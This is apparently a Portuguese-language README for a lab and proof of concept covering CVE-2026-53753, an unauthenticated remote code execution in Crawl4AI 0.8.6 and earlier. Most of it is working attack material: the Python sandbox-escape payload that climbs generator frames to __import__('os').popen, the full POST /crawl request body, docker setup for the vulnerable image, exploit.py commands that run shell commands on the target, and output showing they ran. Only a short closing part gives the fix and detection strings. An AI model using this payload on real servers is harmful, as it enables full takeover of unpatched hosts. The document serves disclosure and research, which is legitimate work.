CVE-2026-53753 — Crawl4AI <0.8.7 RCE não autenticado (escape de sandbox AST via gi_frame.f_back). Lab + PoC, verificado e2e.
RCE pré-autenticação no Crawl4AI
< 0.8.7. Um esquemaJsonCssExtractionStrategymaliciosamente elaborado enviado ao endpoint não autenticadoPOST /crawlchega ao avaliador de campos computados (_safe_eval_expression), escapa de sua lista de permissões AST através de objetos de frame do Python, alcança osbuiltinsreais e executa__import__('os').popen(<cmd>).read()— retornando a saída do comando in-band na resposta JSON.
| CVE | CVE-2026-53753 |
| Aviso | GHSA-qxjp-w3pj-48m7 |
| Afetado | Crawl4AI <= 0.8.6 |
| Corrigido | 0.8.7 |
| Classe | CWE-94 (Injeção de Código) / Escape de sandbox Python |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticação | Nenhum — configuração fornecida tem jwt_enabled: false |
| Status | CONFIRMADO — reproduzido de ponta a ponta na imagem oficial unclecode/crawl4ai:0.8.6 |
Aprofundamento: veja
ANALYSIS.mdpara uma análise nó a nó da AST, a pilha de frames em tempo de execução, o fluxo de dados da requisição e o diff do patch.
crawl4ai/extraction_strategy.py permite que um esquema de extração defina campos
computados — pequenas expressões Python avaliadas por item extraído. Eles são executados por
_safe_eval_expression(), que tenta isolar a expressão com uma lista de permissões AST
e um __builtins__ reduzido:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Block dunder attribute access, e.g. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
O validador é negar por prefixo: ele rejeita apenas nomes que começam com _
(mais import). Essa única heurística é toda a sandbox — e ela tem três brechas
que se combinam em uma fuga completa:
| # | Brecha | Por que é importante |
|---|---|---|
| 1 | gi_frame, f_back, f_builtins não começam com _ | Toda a superfície de introspecção de frames/geradores do Python é acessível. |
| 2 | obj['__import__'] é um ast.Subscript, não um ast.Attribute | O validador nunca inspeciona chaves de subscrito de dicionário, então a chave dunder __import__ passa. |
| 3 | A cadeia f_back de um gerador em execução leva a um frame externo cujo f_builtins é o real builtins | Escapa do _SAFE_EVAL_BUILTINS reduzido de volta ao completo (__import__, etc.). |
O esquema chega a esta função sem autenticação: a API Docker vem com
security.jwt_enabled: false, então a dependência de token do /crawl é lambda: None.
A expressão do campo computado é:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
Lendo peça por peça:
| Fragmento | Função | Por que o validador permite |
|---|---|---|
(lambda: ... )() | Cria um escopo de função para que o nome vinculado ao operador morsa viva em uma célula de fechamento. | ast.Lambda não é verificado. |
g := ( <expr> for i in [1]) | Vincula o gerador a g e o corpo do gerador referencia g (ele mesmo). | := e expressões geradoras não são verificados. (Walrus é ilegal em um iterável de compreensão, então é colocado em um elemento de tupla.) |
list(g) | Aciona o gerador — para que seu frame esteja ativo quando o corpo for executado. | list está nos builtins seguros. |
g.gi_frame | O objeto frame do gerador. | gi_frame não começa com _. |
.f_back.f_back.f_back | Sobe três frames até um com os builtins reais. | f_back não começa com _. |
.f_builtins | O mapeamento de builtins daquele frame (o real). | f_builtins não começa com _. |
['__import__'] | Obtém __import__ do dicionário de builtins. | Subscrito de dicionário — nunca inspecionado. |
('os') | __import__('os') → o módulo os. | O alvo da chamada é um Subscript, não um Name/Attribute. |
.popen('id').read() | Executa o comando e retorna sua saída padrão. | popen/read não começam com _. |
Como o valor do gerador é os.popen(cmd).read(), a saída padrão do comando se
torna o valor do campo e é refletida de volta na resposta do /crawl — um
oráculo in-band, sem necessidade de OAST.
Enquanto list(g) itera o gerador, a pilha de chamadas se parece com isso:
frame: _safe_eval_expression() <-- builtins reais (__import__ mora aqui) ← f_back ×3
└ frame: <expression> (eval) <-- builtins isolados (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- isolados ← f_back ×1
└ frame: <genexpr> g <-- EM EXECUÇÃO; g.gi_frame é este frame ← gi_frame
g.gi_frame.f_back só é preenchido enquanto o gerador está em execução (é
por isso que o gerador deve referenciar a si mesmo e ser acionado por list(g) —
um gerador ainda não iniciado tem f_back is None). Caminhar f_back três vezes
chega ao frame _safe_eval_expression, cujo f_builtins é o módulo completo de
builtins — do qual __import__ é obtido por subscrito.
A profundidade do frame é estável para este caminho de código:
f_back × 3está correto para_safe_eval_expressiondo Crawl4AI 0.8.6.
A imagem oficial vem com o padrão vulnerável (sem autenticação):
# Opção A — docker compose (host Docker normal com rede bridge)
docker compose -f lab/docker-compose.yml up -d
# Opção B — docker run simples
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
Aguarde ~20 s para o pool de navegadores aquecer (docker logs crawl4ai-vuln →
Application startup complete).
# Inspecione o corpo da requisição sem enviá-lo:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# Execute (a saída padrão do comando volta na resposta):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py usa apenas a biblioteca padrão do Python — sem dependências.
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
O campo out é o estado ao vivo do SO (saída de id, uname, os-release
do contêiner), não um eco da requisição — uid=999(appuser) é a conta de serviço
do contêiner, provando execução de código dentro do host Crawl4AI. Um
echo <marker> exclusivo é refletido literalmente, confirmando que o comando
realmente foi executado.
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
raw://… torna a requisição autocontida — nenhuma busca externa é necessária;
o atacante fornece o HTML inline.baseSelector: "div" precisa apenas corresponder a um elemento para que um
campo computado seja avaliado. Contra um alvo de rastreamento real, use
qualquer seletor que corresponda à página.| Sintoma | Causa / correção |
|---|---|
Connection refused em :11235 | Contêiner ainda aquecendo, ou seu daemon Docker não tem uma rede bridge utilizável. Aguarde Application startup complete; se o mapeamento de porta não vincular, execute o contêiner com --network host. |
out é null | O seletor base não correspondeu a nenhum elemento — certifique-se de que o HTML raw:// contém um <div> (ou ajuste baseSelector). |
| Funciona no 0.8.6 mas não no 0.8.7 | Esperado — 0.8.7 remove _safe_eval_expression e desabilita completamente a chave expression (a correção). |
Qualquer cliente acessível pela rede executa comandos arbitrários do SO no host Crawl4AI sem autenticação na implantação padrão — comprometimento total do servidor e pivô para quaisquer recursos internos que ele possa alcançar.
_safe_eval_expression; a chave de
campo computado expression está desabilitada — use a chave function com um
callable Python verificado em vez disso).jwt_enabled: true + api_token) e nunca
exponha a API do Crawl4AI a redes não confiáveis.Sinalize corpos de POST /crawl (e /crawl/stream) contendo gi_frame, f_back,
f_builtins, ou qualquer campo computed com a chave expression.